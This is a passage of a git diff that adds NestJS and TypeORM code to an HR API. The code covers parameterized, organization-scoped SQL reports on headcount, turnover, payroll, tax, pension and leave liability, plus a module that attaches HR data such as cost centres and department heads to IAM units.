permission" }) + tax( + @CurrentUser() user: TCurrentUser, + @Query("from") from: string, + @Query("to") to: string, + ) { + return this.reports.taxReport(from, to, actorFrom(user)); + } + + @Get("pension") + @HrStaff(HR_PERMS.report.viewTax) + @ApiOperation({ + summary: "Pension contributions per employee", + description: "The schedule filed with the pension agency. Both sides shown.", + }) + pension( + @CurrentUser() user: TCurrentUser, + @Query("from") from: string, + @Query("to") to: string, + ) { + return this.reports.pensionReport(from, to, actorFrom(user)); + } + + @Get("leave-liability") + @HrStaff(HR_PERMS.report.view) + @ApiOperation({ + summary: "What untaken leave is worth", + description: + "The accounting provision: balance × (basic salary ÷ 30). The 30-day " + + "divisor is a convention — change it if the employer's policy differs. " + + "Only PAID leave that CARRIES OVER is valued: sick, bereavement, marriage " + + "and paternity leave lapse at year end and are not owed, so including " + + "them would inflate the provision several times over.", + }) + @ApiQuery({ name: "asOf", required: false, description: "Defaults to today." }) + leaveLiability( + @CurrentUser() user: TCurrentUser, + @Query("asOf") asOf?: string, + ) { + return this.reports.leaveLiability(actorFrom(user), asOf); + } + + @Get("attendance") + @HrStaff(HR_PERMS.report.view) + @ApiOperation({ summary: "Absence and lateness by unit" }) + attendance( + @CurrentUser() user: TCurrentUser, + @Query("from") from: string, + @Query("to") to: string, + ) { + return this.reports.attendanceSummary(from, to, actorFrom(user)); + } + + @Get("leave-taken") + @HrStaff(HR_PERMS.report.view) + @ApiOperation({ + summary: "Leave taken by type", + description: "Approved requests overlapping the period.", + }) + leaveTaken( + @CurrentUser() user: TCurrentUser, + @Query("from") from: string, + @Query("to") to: string, + ) { + return this.reports.leaveTaken(from, to, actorFrom(user)); + } + + @Get("payroll-cost") + @HrStaff(HR_PERMS.report.view) + @ApiOperation({ + summary: "Payroll cost by component", + description: + "What the fine-grained payslip lines exist for — 'how much transport " + + "allowance did we pay in Hamle' cannot be reconstructed from a payslip " + + "total after the fact.", + }) + payrollCost( + @CurrentUser() user: TCurrentUser, + @Query("from") from: string, + @Query("to") to: string, + ) { + return this.reports.payrollCostByComponent(from, to, actorFrom(user)); + } + + @Get("expiring") + @HrStaff(HR_PERMS.report.view) + @ApiOperation({ + summary: "Contracts and probations ending soon", + description: "The act-before-it-lapses list.", + }) + @ApiQuery({ name: "withinDays", required: false, example: 30 }) + expiring( + @CurrentUser() user: TCurrentUser, + @Query("withinDays", new ParseIntPipe({ optional: true })) withinDays?: number, + ) { + return this.reports.expiringSoon(withinDays ?? 30, actorFrom(user)); + } +} diff --git a/apps/edr-hr-api/src/modules/reports/reports.module.ts b/apps/edr-hr-api/src/modules/reports/reports.module.ts new file mode 100644 index 000000000..7c1ece402 --- /dev/null +++ b/apps/edr-hr-api/src/modules/reports/reports.module.ts @@ -0,0 +1,18 @@ +import { Module } from "@nestjs/common"; + +import { ReportsService } from "./services/reports.service"; +import { ReportsController } from "./controllers/reports.controller"; + +/** + * Module 3.7 HR reports. + * + * Read-only, and entirely raw SQL — every figure is an aggregate across two + * schemas, which is exactly the case the codebase sanctions raw SQL for. No + * entities are registered because nothing here writes. + */ +@Module({ + controllers: [ReportsController], + providers: [ReportsService], + exports: [ReportsService], +}) +export class ReportsModule {} diff --git a/apps/edr-hr-api/src/modules/reports/services/reports.service.ts b/apps/edr-hr-api/src/modules/reports/services/reports.service.ts new file mode 100644 index 000000000..cd668ccb7 --- /dev/null +++ b/apps/edr-hr-api/src/modules/reports/services/reports.service.ts @@ -0,0 +1,495 @@ +import { BadRequestException, Injectable } from "@nestjs/common"; +import { InjectDataSource } from "@nestjs/typeorm"; +import { DataSource } from "typeorm"; + +import { ActorContext, orgScope } from "../../employees/employees.service"; + +export interface HeadcountRow { + unitId: string | null; + unitName: { am: string; en: string } | null; + total: number; + male: number; + female: number; + unspecified: number; + permanent: number; + contract: number; + other: number; + probation: number; + onLeave: number; +} + +export interface PayrollRegisterRow { + employeeId: string; + employeeNumber: string | null; + basicSalary: string; + grossPay: string; + incomeTax: string; + pensionEmployee: string; + pensionEmployer: string; + totalDeductions: string; + netPay: string; + salaryMode: string | null; + bankAccount: string | null; +} + +/** + * Reports. + * + * All raw SQL, which is the sanctioned approach in this codebase for read + * projections and cross-table reports — and the only sane one here, since every + * figure is an aggregate across two schemas. + * + * Every statement is scoped by organization unless the caller is a super admin. + * That scoping is applied with a parameter rather than string interpolation, and + * `null` genuinely means "no filter" rather than an empty string that would match + * nothing. + */ +@Injectable() +export class ReportsService { + constructor(@InjectDataSource() private readonly dataSource: DataSource) {} + + /** + * Headcount by unit. + * + * Driven from `hr.employee_profiles` joined to `iam.employees`, and counts only + * people actually employed — a terminated employee is history, not headcount. + * Gender comes from the HR profile and is genuinely often unset, so it is + * reported as its own column rather than silently folded into one of the other + * two. + */ + async headcount(actor: ActorContext): Promise { + const scope = orgScope(actor) ?? actor.organizationId ?? null; + return this.dataSource.query( + `SELECT e."unit_id" AS "unitId", + u."name" AS "unitName", + COUNT(*)::int AS "total", + COUNT(*) FILTER (WHERE p."gender" = 'MALE')::int AS "male", + COUNT(*) FILTER (WHERE p."gender" = 'FEMALE')::int AS "female", + COUNT(*) FILTER (WHERE p."gender" IS NULL)::int AS "unspecified", + COUNT(*) FILTER (WHERE p."employment_type" = 'PERMANENT')::int AS "permanent", + COUNT(*) FILTER (WHERE p."employment_type" = 'CONTRACT')::int AS "contract", + COUNT(*) FILTER (WHERE p."employment_type" + NOT IN ('PERMANENT','CONTRACT'))::int AS "other", + COUNT(*) FILTER (WHERE p."employment_state" = 'PROBATION')::int AS "probation", + COUNT(*) FILTER (WHERE p."employment_state" = 'ON_LEAVE')::int AS "onLeave" + FROM hr.employee_profiles p + JOIN iam.employees e ON e."id" = p."employee_id" + LEFT JOIN iam.units u ON u."id" = e."unit_id" + WHERE p."deleted_at" IS NULL + AND p."employment_state" NOT IN ('TERMINATED','RETIRED') + AND ($1::uuid IS NULL OR e."organization_id" = $1::uuid) + GROUP BY e."unit_id", u."name" + ORDER BY COUNT(*) DESC`, + [scope], + ); + } + + /** + * Joiners and leavers over a period, with the turnover rate. + * + * Turnover is leavers ÷ average headcount, the standard definition. Average + * headcount is approximated as (opening + closing) ÷ 2, which is what an + * annual report uses — a daily average would need a headcount snapshot table + * this module does not keep, and the difference is immaterial at report scale. + */ + async turnover( + from: string, + to: string, + actor: ActorContext, + ): Promise<{ + joiners: number; + leavers: number; + openingHeadcount: number; + closingHeadcount: number; + turnoverRate: number; + }> { + ReportsService.assertRange(from, to); + const scope = orgScope(actor) ?? actor.organizationId ?? null; + + const [row] = await this.dataSource.query< + { + joiners: string; + leavers: string; + opening: string; + closing: string; + }[] + >( + `SELECT + COUNT(*) FILTER (WHERE p."hire_date" BETWEEN $2::date AND $3::date) AS "joiners", + COUNT(*) FILTER (WHERE p."termination_date" BETWEEN $2::date AND $3::date) AS "leavers", + -- Employed at the start: hired on or before, and not yet gone. + COUNT(*) FILTER ( + WHERE p."hire_date" <= $2::date + AND (p."termination_date" IS NULL OR p."termination_date" >= $2::date) + ) AS "opening", + COUNT(*) FILTER ( + WHERE p."hire_date" <= $3::date + AND (p."termination_date" IS NULL OR p."termination_date" > $3::date) + ) AS "closing" + FROM hr.employee_profiles p + JOIN iam.employees e ON e."id" = p."employee_id" + WHERE p."deleted_at" IS NULL + AND ($1::uuid IS NULL OR e."organization_id" = $1::uuid)`, + [scope, from, to], + ); + + const joiners = Number(row?.joiners ?? 0); + const leavers = Number(row?.leavers ?? 0); + const opening = Number(row?.opening ?? 0); + const closing = Number(row?.closing ?? 0); + const average = (opening + closing) / 2; + + return { + joiners, + leavers, + openingHeadcount: opening, + closingHeadcount: closing, + // Zero average means nobody was employed; the rate is 0, not a division + // by zero rendered as NaN in a report. + turnoverRate: average > 0 ? Number(((leavers / average) * 100).toFixed(2)) : 0, + }; + } + + /** Every payslip in a run — the register HR signs off and finance pays from. */ + async payrollRegister( + payrollRunId: string, + actor: ActorContext, + ): Promise { + const scope = orgScope(actor) ?? actor.organizationId ?? null; + return this.dataSource.query( + `SELECT s."employee_id" AS "employeeId", + s."employee_number" AS "employeeNumber", + s."basic_salary" AS "basicSalary", + s."gross_pay" AS "grossPay", + s."income_tax" AS "incomeTax", + s."pension_employee" AS "pensionEmployee", + s."pension_employer" AS "pensionEmployer", + s."total_deductions" AS "totalDeductions", + s."net_pay" AS "netPay", + s."salary_mode" AS "salaryMode", + s."bank_account" AS "bankAccount" + FROM hr.payslips s + WHERE s."payroll_run_id" = $1::uuid + AND ($2::uuid IS NULL OR s."organization_id" = $2::uuid) + ORDER BY s."employee_number" NULLS LAST`, + [payrollRunId, scope], + ); + } + + /** + * Income tax withheld per employee over a period — the schedule filed with the + * revenue authority. + * + * Reads only APPROVED and PAID runs. A draft run's figures may still change, + * and filing them would mean declaring numbers that were never paid. + */ + async taxReport( + from: string, + to: string, + actor: ActorContext, + ): Promise< + { + employeeId: string; + employeeNumber: string | null; + periods: number; + grossPay: string; + taxableIncome: string; + incomeTax: string; + }[] + > { + ReportsService.assertRange(from, to); + const scope = orgScope(actor) ?? actor.organizationId ?? null; + return this.dataSource.query( + `SELECT s."employee_id" AS "employeeId", + MAX(s."employee_number") AS "employeeNumber", + COUNT(*)::int AS "periods", + SUM(s."gross_pay")::text AS "grossPay", + SUM(s."taxable_income")::text AS "taxableIncome", + SUM(s."income_tax")::text AS "incomeTax" + FROM hr.payslips s + JOIN hr.payroll_runs r ON r."id" = s."payroll_run_id" + WHERE r."status" IN ('APPROVED','PAID') + AND r."period_start" >= $2::date + AND r."period_end" <= $3::date + AND ($1::uuid IS NULL OR s."organization_id" = $1::uuid) + GROUP BY s."employee_id" + ORDER BY MAX(s."employee_number") NULLS LAST`, + [scope, from, to], + ); + } + + /** Pension contributions per employee — the schedule filed with the agency. */ + async pensionReport( + from: string, + to: string, + actor: ActorContext, + ): Promise< + { + employeeId: string; + employeeNumber: string | null; + pensionableIncome: string; + employeeContribution: string; + employerContribution: string; + total: string; + }[] + > { + ReportsService.assertRange(from, to); + const scope = orgScope(actor) ?? actor.organizationId ?? null; + return this.dataSource.query( + `SELECT s."employee_id" AS "employeeId", + MAX(s."employee_number") AS "employeeNumber", + SUM(s."pensionable_income")::text AS "pensionableIncome", + SUM(s."pension_employee")::text AS "employeeContribution", + SUM(s."pension_employer")::text AS "employerContribution", + (SUM(s."pension_employee") + SUM(s."pension_employer"))::text AS "total" + FROM hr.payslips s + JOIN hr.payroll_runs r ON r."id" = s."payroll_run_id" + WHERE r."status" IN ('APPROVED','PAID') + AND r."period_start" >= $2::date + AND r."period_end" <= $3::date + AND ($1::uuid IS NULL OR s."organization_id" = $1::uuid) + AND (s."pension_employee" > 0 OR s."pension_employer" > 0) + GROUP BY s."employee_id" + ORDER BY MAX(s."employee_number") NULLS LAST`, + [scope, from, to], + ); + } + + /** + * What untaken leave is worth — the accounting provision. + * + * The balance comes from the ledger (`SUM(days)`), the daily rate from the + * employee's current basic salary divided by a nominal 30-day month. That + * divisor is a convention, stated here rather than hidden: an employer whose + * policy differs should change it, and the figure is a provision rather than a + * payment. + * + * Only leave that CARRIES OVER is valued, and only if it is paid. + * + * This is the part that is easy to get wrong. Sick, bereavement, marriage and + * paternity leave are entitlements that lapse at the end of the year — they + * are not days the employee has banked and is owed. Valuing them inflates the + * provision enormously: on the statutory catalogue, sick leave alone adds 156 + * days per employee, roughly fourteen times the real annual-leave figure. + * + * `max_carry_over_days > 0` is the signal already in the data: a type whose + * unused days survive the year is a type the employer still owes. In the + * statutory seed only annual leave qualifies, which is the correct answer. + */ + async leaveLiability( + actor: ActorContext, + asOf?: string, + ): Promise< + { + employeeId: string; + employeeNumber: string | null; + leaveTypeCode: string; + balanceDays: string; + dailyRate: string; + liability: string; + }[] + > { + const scope = orgScope(actor) ?? actor.organizationId ?? null; + const on = asOf ?? new Date().toISOString().slice(0, 10); + return this.dataSource.query( + `SELECT ent."employee_id" AS "employeeId", + p."employee_number" AS "employeeNumber", + t."code" AS "leaveTypeCode", + COALESCE(SUM(l."days"), 0)::text AS "balanceDays", + ROUND(COALESCE(sal."basic_salary", 0) / 30.0, 2)::text AS "dailyRate", + ROUND( + COALESCE(SUM(l."days"), 0) * COALESCE(sal."basic_salary", 0) / 30.0, + 2 + )::text AS "liability" + FROM hr.leave_entitlements ent + JOIN hr.leave_types t ON t."id" = ent."leave_type_id" + JOIN hr.employee_profiles p ON p."employee_id" = ent."employee_id" + LEFT JOIN hr.leave_ledger_entries l ON l."entitlement_id" = ent."id" + LEFT JOIN LATERAL ( + SELECT es."basic_salary" + FROM hr.employee_salaries es + WHERE es."employee_id" = ent."employee_id" + AND es."deleted_at" IS NULL + AND es."effective_from" <= $2::date + AND (es."effective_to" IS NULL OR es."effective_to" >= $2::date) + ORDER BY es."effective_from" DESC + LIMIT 1 + ) sal ON true + WHERE ent."deleted_at" IS NULL + AND t."is_paid" = true + AND t."max_carry_over_days" > 0 + AND p."employment_state" NOT IN ('TERMINATED','RETIRED') + AND ($1::uuid IS NULL OR ent."organization_id" = $1::uuid) + GROUP BY ent."employee_id", p."employee_number", t."code", sal."basic_salary" + HAVING COALESCE(SUM(l."days"), 0) > 0 + ORDER BY p."employee_number" NULLS LAST, t."code"`, + [scope, on], + ); + } + + /** Absence and lateness by unit over a period. */ + async attendanceSummary( + from: string, + to: string, + actor: ActorContext, + ): Promise< + { + unitId: string | null; + unitName: { am: string; en: string } | null; + present: number; + late: number; + absent: number; + halfDay: number; + onLeave: number; + lateMinutes: string; + }[] + > { + ReportsService.assertRange(from, to); + const scope = orgScope(actor) ?? actor.organizationId ?? null; + return this.dataSource.query( + `SELECT e."unit_id" AS "unitId", + u."name" AS "unitName", + COUNT(*) FILTER (WHERE a."status" = 'PRESENT')::int AS "present", + COUNT(*) FILTER (WHERE a."status" = 'LATE')::int AS "late", + COUNT(*) FILTER (WHERE a."status" = 'ABSENT')::int AS "absent", + COUNT(*) FILTER (WHERE a."status" = 'HALF_DAY')::int AS "halfDay", + COUNT(*) FILTER (WHERE a."status" = 'ON_LEAVE')::int AS "onLeave", + COALESCE(SUM(a."late_minutes"), 0)::text AS "lateMinutes" + FROM hr.attendance_records a + JOIN iam.employees e ON e."id" = a."employee_id" + LEFT JOIN iam.units u ON u."id" = e."unit_id" + WHERE a."deleted_at" IS NULL + AND a."work_date" BETWEEN $2::date AND $3::date + AND ($1::uuid IS NULL OR a."organization_id" = $1::uuid) + GROUP BY e."unit_id", u."name" + ORDER BY COUNT(*) FILTER (WHERE a."status" = 'ABSENT') DESC`, + [scope, from, to], + ); + } + + /** Leave taken by type over a period — approved requests only. */ + async leaveTaken( + from: string, + to: string, + actor: ActorContext, + ): Promise< + { leaveTypeCode: string; requests: number; days: string; employees: number }[] + > { + ReportsService.assertRange(from, to); + const scope = orgScope(actor) ?? actor.organizationId ?? null; + return this.dataSource.query( + `SELECT t."code" AS "leaveTypeCode", + COUNT(*)::int AS "requests", + SUM(r."charged_days")::text AS "days", + COUNT(DISTINCT r."employee_id")::int AS "employees" + FROM hr.leave_requests r + JOIN hr.leave_types t ON t."id" = r."leave_type_id" + WHERE r."deleted_at" IS NULL + AND r."status" = 'APPROVED' + AND r."start_date" <= $3::date + AND r."end_date" >= $2::date + AND ($1::uuid IS NULL OR r."organization_id" = $1::uuid) + GROUP BY t."code" + ORDER BY SUM(r."charged_days") DESC`, + [scope, from, to], + ); + } + + /** + * Payroll cost by component over a period. + * + * This is what `payslip_lines` was made fine-grained for: "how much transport + * allowance did we pay in Hamle" cannot be reconstructed from a payslip total + * after the fact. + */ + async payrollCostByComponent( + from: string, + to: string, + actor: ActorContext, + ): Promise< + { + code: string; + componentType: string; + total: string; + taxableTotal: string; + employees: number; + }[] + > { + ReportsService.assertRange(from, to); + const scope = orgScope(actor) ?? actor.organizationId ?? null; + return this.dataSource.query( + `SELECT pl."code" AS "code", + pl."component_type" AS "componentType", + SUM(pl."amount")::text AS "total", + SUM(pl."taxable_amount")::text AS "taxableTotal", + COUNT(DISTINCT s."employee_id")::int AS "employees" + FROM hr.payslip_lines pl + JOIN hr.payslips s ON s."id" = pl."payslip_id" + JOIN hr.payroll_runs r ON r."id" = s."payroll_run_id" + WHERE r."status" IN ('APPROVED','PAID') + AND r."period_start" >= $2::date + AND r."period_end" <= $3::date + AND ($1::uuid IS NULL OR s."organization_id" = $1::uuid) + GROUP BY pl."code", pl."component_type" + ORDER BY SUM(pl."amount") DESC`, + [scope, from, to], + ); + } + + /** Contracts and documents expiring soon — the "act before it lapses" list. */ + async expiringSoon( + withinDays: number, + actor: ActorContext, + ): Promise<{ + contracts: { employeeId: string; employeeNumber: string | null; contractEndDate: string }[]; + probations: { employeeId: string; employeeNumber: string | null; probationEndDate: string }[]; + }> { + if (withinDays < 1 || withinDays > 365) { + throw new BadRequestException("withinDays must be between 1 and 365."); + } + const scope = orgScope(actor) ?? actor.organizationId ?? null; + + const contracts = await this.dataSource.query( + `SELECT p."employee_id" AS "employeeId", + p."employee_number" AS "employeeNumber", + to_char(p."contract_end_date", 'YYYY-MM-DD') AS "contractEndDate" + FROM hr.employee_profiles p + JOIN iam.employees e ON e."id" = p."employee_id" + WHERE p."deleted_at" IS NULL + AND p."contract_end_date" IS NOT NULL + AND p."contract_end_date" + BETWEEN CURRENT_DATE AND CURRENT_DATE + ($2::int * INTERVAL '1 day') + AND p."employment_state" NOT IN ('TERMINATED','RETIRED') + AND ($1::uuid IS NULL OR e."organization_id" = $1::uuid) + ORDER BY p."contract_end_date"`, + [scope, withinDays], + ); + + const probations = await this.dataSource.query( + `SELECT p."employee_id" AS "employeeId", + p."employee_number" AS "employeeNumber", + to_char(p."probation_end_date", 'YYYY-MM-DD') AS "probationEndDate" + FROM hr.employee_profiles p + JOIN iam.employees e ON e."id" = p."employee_id" + WHERE p."deleted_at" IS NULL + AND p."probation_end_date" IS NOT NULL + AND p."employment_state" = 'PROBATION' + AND p."probation_end_date" + BETWEEN CURRENT_DATE AND CURRENT_DATE + ($2::int * INTERVAL '1 day') + AND ($1::uuid IS NULL OR e."organization_id" = $1::uuid) + ORDER BY p."probation_end_date"`, + [scope, withinDays], + ); + + return { contracts, probations }; + } + + private static assertRange(from: string, to: string): void { + if (!from || !to) { + throw new BadRequestException("Both `from` and `to` are required."); + } + if (to < from) { + throw new BadRequestException("`to` cannot be before `from`."); + } + } +} diff --git a/apps/edr-hr-api/src/modules/unit-hr-profiles/dto/update-unit-hr-profile.dto.ts b/apps/edr-hr-api/src/modules/unit-hr-profiles/dto/update-unit-hr-profile.dto.ts new file mode 100644 index 000000000..f6ead05d2 --- /dev/null +++ b/apps/edr-hr-api/src/modules/unit-hr-profiles/dto/update-unit-hr-profile.dto.ts @@ -0,0 +1,8 @@ +import { OmitType, PartialType } from "@nestjs/swagger"; + +import { CreateUnitHrProfileDto } from "./upsert-unit-hr-profile.dto"; + +/** `unitId` is fixed at creation — one profile per unit, by unique index. */ +export class UpdateUnitHrProfileDto extends PartialType( + OmitType(CreateUnitHrProfileDto, ["unitId"] as const), +) {} diff --git a/apps/edr-hr-api/src/modules/unit-hr-profiles/dto/upsert-unit-hr-profile.dto.ts b/apps/edr-hr-api/src/modules/unit-hr-profiles/dto/upsert-unit-hr-profile.dto.ts new file mode 100644 index 000000000..fc1f7da58 --- /dev/null +++ b/apps/edr-hr-api/src/modules/unit-hr-profiles/dto/upsert-unit-hr-profile.dto.ts @@ -0,0 +1,61 @@ +import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger"; +import { Type } from "class-transformer"; +import { + IsBoolean, + IsInt, + IsOptional, + IsString, + IsUUID, + Matches, + Max, + MaxLength, + Min, +} from "class-validator"; + +export class CreateUnitHrProfileDto { + @ApiProperty({ + format: "uuid", + description: "iam.units.id. The department hierarchy stays in IAM.", + }) + @IsUUID() + unitId!: string; + + @ApiPropertyOptional({ + maxLength: 32, + description: "Finance cost centre. Payroll journals group salary expense by it.", + }) + @IsOptional() + @IsString() + @MaxLength(32) + @Matches(/^[A-Z0-9-]+$/, { message: "costCentreCode must be A-Z, 0-9 and -" }) + costCentreCode?: string; + + @ApiPropertyOptional({ minimum: 0, maximum: 100000, default: 0 }) + @IsOptional() + @Type(() => Number) + @IsInt() + @Min(0) + @Max(100000) + headcountBudget?: number; + + @ApiPropertyOptional({ + format: "uuid", + description: "Department head, as an iam.employees.id.", + }) + @IsOptional() + @IsUUID() + headEmployeeId?: string; + + @ApiPropertyOptional({ + format: "uuid", + description: "finance.accounts.id debited by payroll journals (4.1).", + }) + @IsOptional() + @IsUUID() + financeExpenseAccountId?: string; + + @ApiPropertyOptional({ default: true }) + @IsOptional() + @IsBoolean() + isHrActive?: boolean; +} diff --git a/apps/edr-hr-api/src/modules/unit-hr-profiles/entities/unit-hr-profile.entity.ts b/apps/edr-hr-api/src/modules/unit-hr-profiles/entities/unit-hr-profile.entity.ts new file mode 100644 index 000000000..064099636 --- /dev/null +++ b/apps/edr-hr-api/src/modules/unit-hr-profiles/entities/unit-hr-profile.entity.ts @@ -0,0 +1,77 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { + Check, + Column, + Entity, + PrimaryGeneratedColumn, + Unique, +} from "typeorm"; + +/** + * The "department" extension. + * + * There is no `hr.departments` table on purpose: the department hierarchy is + * `iam.units` (with `parent_unit_id`), already used by every other app on the + * platform, and a second tree would immediately drift from it. This entity is a + * satellite that adds only what HR and Finance need on top of a unit — the cost + * centre, the headcount budget, and the department head. + * + * The organization is NOT stored here — it belongs to the IAM unit and is read + * by joining `iam.units`. + * + * The prompt's `departments.org_unit_id → iam.org_units` is honoured as + * `unitId → iam.units.id`; there is no `org_units` table in this IAM. + */ +@Entity({ schema: "hr", name: "unit_hr_profiles" }) +@Unique("uq_unit_hr_profiles_unit_id", ["unitId"]) +@Check("ck_unit_hr_profiles_headcount_budget", `"headcount_budget" >= 0`) +export class UnitHrProfile extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + /** Soft reference → `iam.units.id`. */ + @Column({ type: "uuid", name: "unit_id" }) + unitId!: string; + + /** + * Maps to the Finance cost centre. Payroll journals (3.4) group salary expense + * by this code, which is why it lives here rather than being derived from the + * unit name. + */ + @Column({ + type: "varchar", + length: 32, + name: "cost_centre_code", + nullable: true, + }) + costCentreCode?: string | null; + + @Column({ type: "int", name: "headcount_budget", default: 0 }) + headcountBudget!: number; + + /** + * The department head, as an `iam.employees.id` soft reference. Distinct from + * the position hierarchy: a unit's head is an HR designation (who signs off for + * this department) and does not always coincide with the highest-ranked + * position holder in it. + */ + @Column({ type: "uuid", name: "head_employee_id", nullable: true }) + headEmployeeId?: string | null; + + /** Soft reference → `finance.accounts.id` (4.1). The salary-expense account + * payroll journals debit for this department. */ + @Column({ + type: "uuid", + name: "finance_expense_account_id", + nullable: true, + }) + financeExpenseAccountId?: string | null; + + /** Whether HR treats this unit as an active department. Independent of the + * unit's own lifecycle in IAM, which HR does not control. */ + @Column({ type: "boolean", name: "is_hr_active", default: true }) + isHrActive!: boolean; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; +} diff --git a/apps/edr-hr-api/src/modules/unit-hr-profiles/unit-hr-profiles.controller.ts b/apps/edr-hr-api/src/modules/unit-hr-profiles/unit-hr-profiles.controller.ts new file mode 100644 index 000000000..63e6666fb --- /dev/null +++ b/apps/edr-hr-api/src/modules/unit-hr-profiles/unit-hr-profiles.controller.ts @@ -0,0 +1,107 @@ +import { + Body, + Controller, + Delete, + Get, + HttpCode, + HttpStatus, + Param, + ParseBoolPipe, + ParseUUIDPipe, + Patch, + Post, + Query, +} from "@nestjs/common"; +import { ApiBearerAuth, ApiOperation, ApiTags } from "@nestjs/swagger"; +import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { HrStaff } from "../../common/hr-guards"; +import { actorFrom } from "../../common/current-actor.util"; +import { HR_PERMS } from "../../seed/hr-permissions.registry"; +import { UnitHrProfilesService } from "./unit-hr-profiles.service"; +import { CreateUnitHrProfileDto } from "./dto/upsert-unit-hr-profile.dto"; +import { UpdateUnitHrProfileDto } from "./dto/update-unit-hr-profile.dto"; + +/** + * "Departments" in HR terms. The route is named after what it is — an HR profile + * attached to an IAM unit — so nobody mistakes it for a second unit hierarchy. + */ +@ApiTags("departments") +@ApiBearerAuth() +@Controller("departments") +@HrStaff([HR_PERMS.org.manageUnitHrProfile, HR_PERMS.org.viewOrg]) +export class UnitHrProfilesController { + constructor(private readonly service: UnitHrProfilesService) {} + + @Post() + @HrStaff(HR_PERMS.org.manageUnitHrProfile) + @ApiOperation({ + summary: "Attach HR data (cost centre, headcount budget, head) to an IAM unit", + }) + create( + @Body() dto: CreateUnitHrProfileDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.service.create(dto, actorFrom(user)); + } + + @Get() + @HrStaff(HR_PERMS.org.viewOrg) + @ApiOperation({ + summary: "Every department, joined to its IAM unit", + description: "Unpaginated: the org chart needs the whole tree at once.", + }) + findAll( + @Query("isHrActive", new ParseBoolPipe({ optional: true })) + isHrActive: boolean | undefined, + @CurrentUser() user: TCurrentUser, + ) { + return this.service.findAll(actorFrom(user), isHrActive); + } + + @Get("by-unit/:unitId") + @HrStaff(HR_PERMS.org.viewOrg) + @ApiOperation({ summary: "The department profile for an IAM unit id" }) + findByUnit( + @Param("unitId", ParseUUIDPipe) unitId: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.service.findByUnit(unitId, actorFrom(user)); + } + + @Get(":id") + @HrStaff(HR_PERMS.org.viewOrg) + @ApiOperation({ summary: "One department profile" }) + findOne( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.service.findOne(id, actorFrom(user)); + } + + @Patch(":id") + @HrStaff(HR_PERMS.org.manageUnitHrProfile) + @ApiOperation({ summary: "Update a department profile" }) + update( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: UpdateUnitHrProfileDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.service.update(id, dto, actorFrom(user)); + } + + @Delete(":id") + @HrStaff(HR_PERMS.org.manageUnitHrProfile) + @HttpCode(HttpStatus.NO_CONTENT) + @ApiOperation({ + summary: "Detach HR data from a unit", + description: "The IAM unit itself is untouched — HR does not own it.", + }) + remove( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.service.remove(id, actorFrom(user)); + } +} diff --git a/apps/edr-hr-api/src/modules/unit-hr-profiles/unit-hr-profiles.module.ts b/apps/edr-hr-api/src/modules/unit-hr-profiles/unit-hr-profiles.module.ts new file mode 100644 index 000000000..26a202b98 --- /dev/null +++ b/apps/edr-hr-api/src/modules/unit-hr-profiles/unit-hr-profiles.module.ts @@ -0,0 +1,17 @@ +import { Module } from "@nestjs/common"; +import { TypeOrmModule } from "@nestjs/typeorm"; + +import { UnitHrProfile } from "./entities/unit-hr-profile.entity"; +import { UnitHrProfilesRepository } from "./unit-hr-profiles.repository"; +import { UnitHrProfilesService } from "./unit-hr-profiles.service"; +import { UnitHrProfilesController } from "./unit-hr-profiles.controller"; + +@Module({ + imports: [TypeOrmModule.forFeature([UnitHrProfile])], + controllers: [UnitHrProfilesController], + providers: [UnitHrProfilesRepository, UnitHrProfilesService], + // Payroll (3.4) reads the cost centre and expense account when building the + // journal entry it posts to Finance. + exports: [UnitHrProfilesRepository, UnitHrProfilesService], +}) +export class UnitHrProfilesModule {} diff --git a/apps/edr-hr-api/src/modules/unit-hr-profiles/unit-hr-profiles.repository.ts b/apps/edr-hr-api/src/modules/unit-hr-profiles/unit-hr-profiles.repository.ts new file mode 100644 index 000000000..0c3197b1a --- /dev/null +++ b/apps/edr-hr-api/src/modules/unit-hr-profiles/unit-hr-profiles.repository.ts @@ -0,0 +1,64 @@ +import { Injectable } from "@nestjs/common"; +import { InjectRepository } from "@nestjs/typeorm"; +import { BaseRepository } from "@edr/api-common"; +import { In, Repository } from "typeorm"; + +import { UnitHrProfile } from "./entities/unit-hr-profile.entity"; + +@Injectable() +export class UnitHrProfilesRepository extends BaseRepository { + constructor( + @InjectRepository(UnitHrProfile) repository: Repository, + ) { + super(repository); + } + + findByUnitId(unitId: string): Promise { + return this.repository.findOne({ where: { unitId } }); + } + + findByUnitIds(unitIds: string[]): Promise { + if (!unitIds.length) return Promise.resolve([]); + return this.repository.find({ where: { unitId: In(unitIds) } }); + } + + /** + * `organizationId: null` = every organization (super admin). + * The organization lives on `iam.units`, so scoping joins it. + */ + findAllForOrganization( + organizationId: string | null, + isHrActive?: boolean, + ): Promise { + const qb = this.repository.createQueryBuilder("profile").where("1 = 1"); + if (organizationId) { + qb.andWhere( + `EXISTS (SELECT 1 FROM iam.units u + WHERE u.id = profile.unit_id + AND u.organization_id = :organizationId)`, + { organizationId }, + ); + } + if (isHrActive !== undefined) { + qb.andWhere("profile.is_hr_active = :isHrActive", { isHrActive }); + } + return qb.orderBy("profile.created_at", "DESC").getMany(); + } + + /** Cost centres are unique per organization, which is read from iam.units. */ + findByCostCentre( + organizationId: string, + costCentreCode: string, + ): Promise { + return this.repository + .createQueryBuilder("profile") + .where("profile.cost_centre_code = :costCentreCode", { costCentreCode }) + .andWhere( + `EXISTS (SELECT 1 FROM iam.units u + WHERE u.id = profile.unit_id + AND u.organization_id = :organizationId)`, + { organizationId }, + ) + .getOne(); + } +} diff --git a/apps/edr-hr-api/src/modules/unit-hr-profiles/unit-hr-profiles.service.ts b/apps/edr-hr-api/src/modules/unit-hr-profiles/unit-hr-profiles.service.ts new file mode 100644 index 000000000..3a9129659 --- /dev/null +++ 